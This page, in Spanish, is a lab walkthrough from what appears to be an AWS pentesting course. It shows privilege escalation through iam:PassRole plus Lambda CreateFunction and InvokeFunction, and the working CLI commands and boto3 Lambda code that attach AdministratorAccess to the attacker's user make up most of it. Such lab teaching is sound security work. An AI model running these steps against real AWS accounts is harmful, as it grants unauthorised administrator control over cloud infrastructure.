> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-lambda/vectores-de-escalacion-de-privilegios/passexistingroletonewlambdatheninvoke.md).

# PassExistingRoleToNewLambdaThenInvoke

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con los permisos `iam:PassRole` , `lambda:CreateFunction` y `lambda:InvokeFunction` puede escalar privilegios pasando un rol de IAM existente a una nueva función de Lambda que incluye código para importar la biblioteca de AWS relevante para el lenguaje de programación de su elección, y luego usándola para realizar las acciones de su elección.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="/files/6uPgRMAbD8RN5QzuRcsC" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="/files/pm6NZ0Q07VLi7vDKa8mq" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="/files/5hp8xRRcw9EF85pmC9SY" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

```bash
aws iam list-attached-user-policies --user-name privesc15-PassExistingRoleToNewLambdaThenInvoke-user
```

<figure><img src="/files/VmnHlw0IBmgcDGORRMMB" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc15-PassExistingRoleToNewLambdaThenInvoke --version-id v1
```

<figure><img src="/files/z70gEAZZfPuQuYHISYlp" alt=""><figcaption></figcaption></figure>

Para este laboratorio, debemos crear un rol con los siguientes parámetros establecidos:

<figure><img src="/files/hTKBpQ1OtAYX1Tkmo5eB" alt=""><figcaption></figcaption></figure>

Luego de la creación del rol, podemos revisar como quedo todo configurado:

<figure><img src="/files/h8QmvQvshOBqkUJzt6IU" alt=""><figcaption></figcaption></figure>

Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a una lambda.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

```
aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc15-PassExistingRoleToNewLambdaThenInvoke-role --role-session-name privesc15
```

<figure><img src="/files/rn6nxW9HBcyBPqBqns9N" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">privesc15-PassExistingRoleToNewLambdaThenInvoke-user</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile privesc15
```

<figure><img src="/files/Q5cVKnpus2UJ3Ul843MK" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile privesc15
```

<figure><img src="/files/rCBhgbV0p7sm5MHUKo26" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc15-PassExistingRoleToNewLambdaThenInvoke-user --profile privesc15
```

<figure><img src="/files/Q0nboyTeiTEgFQP82fhY" alt=""><figcaption></figcaption></figure>

En este escenario, tenemos que aprovechar del privilegio de lambda:CreateFunction para crear una función de lambda maliciosa que tendrá el código para adjuntar una política de altos privilegios a nuestro usuario inicial.

Nosotros estaremos utilizando el lenguaje de programación llamado Python y la librería boto3.

{% hint style="info" %}
¿Qué es Boto3? Es una librería de python para facilitar la integración con los servicios de AWS (Amazon Web Services) tales como: S3, SES, DynamoDB, entre muchos otros.
{% endhint %}

#### **Referencia para Boto3:**

{% embed url="<https://boto3.amazonaws.com/v1/documentation/api/latest/index.html>" %}

El código malicioso de la lambda es el siguiente:

```python
import boto3
def lambda_handler(event, context):
  client = boto3.client('iam')
  response = client.attach_user_policy(UserName='privesc15-PassExistingRoleToNewLambdaThenInvoke-user', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
  return response
```

Tendremos que guardar este código en un archivo con cualquier nombre como, por ejemplo: **code.py**

Posteriormente, tenemos que comprimir este script a un archivo comprimido llamado **function.zip**

Es importante resaltar, que debemos situarnos en el directorio que tiene alojado el archivo desde la terminal.

Para el próximo comando, estaremos creando la lambda utilizando el script previamente indicado y le estaremos asignando el rol de servicio llamado **Rol-Spartan-Vulnerable-CPNA-Lambda** o cualquier rol con altos privilegios.

Ahora procedemos a crear una función de lambda con el siguiente comando:

```
aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/Rol-Spartan-Vulnerable-CPNA-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-2 --profile privesc15
```

<figure><img src="/files/EDS6mlUjA442mfObMuqs" alt=""><figcaption></figcaption></figure>

Ahora que hemos creado nuestra función maliciosa vamos aprovechar nuestro otro privilegio de lambda:InvokeFunction para invocar dicha función y que finalmente nuestro usuario inicial adquiera el rol de administrador.

```
aws lambda invoke --function-name privesc output.txt --region us-east-2 --profile privesc15
```

<figure><img src="/files/19pipEruvF4llWkyY5nF" alt=""><figcaption></figcaption></figure>

Después de la invocación de la función de lambda, podemos revisar el contenido de nuestro archivo llamado output.txt

<figure><img src="/files/P6ncNermsuzjCfMo8eiU" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos identificar el código HTTP 200 y esto significa que la petición fue realizada e interpretada de manera exitosa.

Para finalizar, vamos a validar los permisos para el usuario inicial:

<figure><img src="/files/0WyBRDIBdbmJSiEQcb6C" alt=""><figcaption></figcaption></figure>

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.
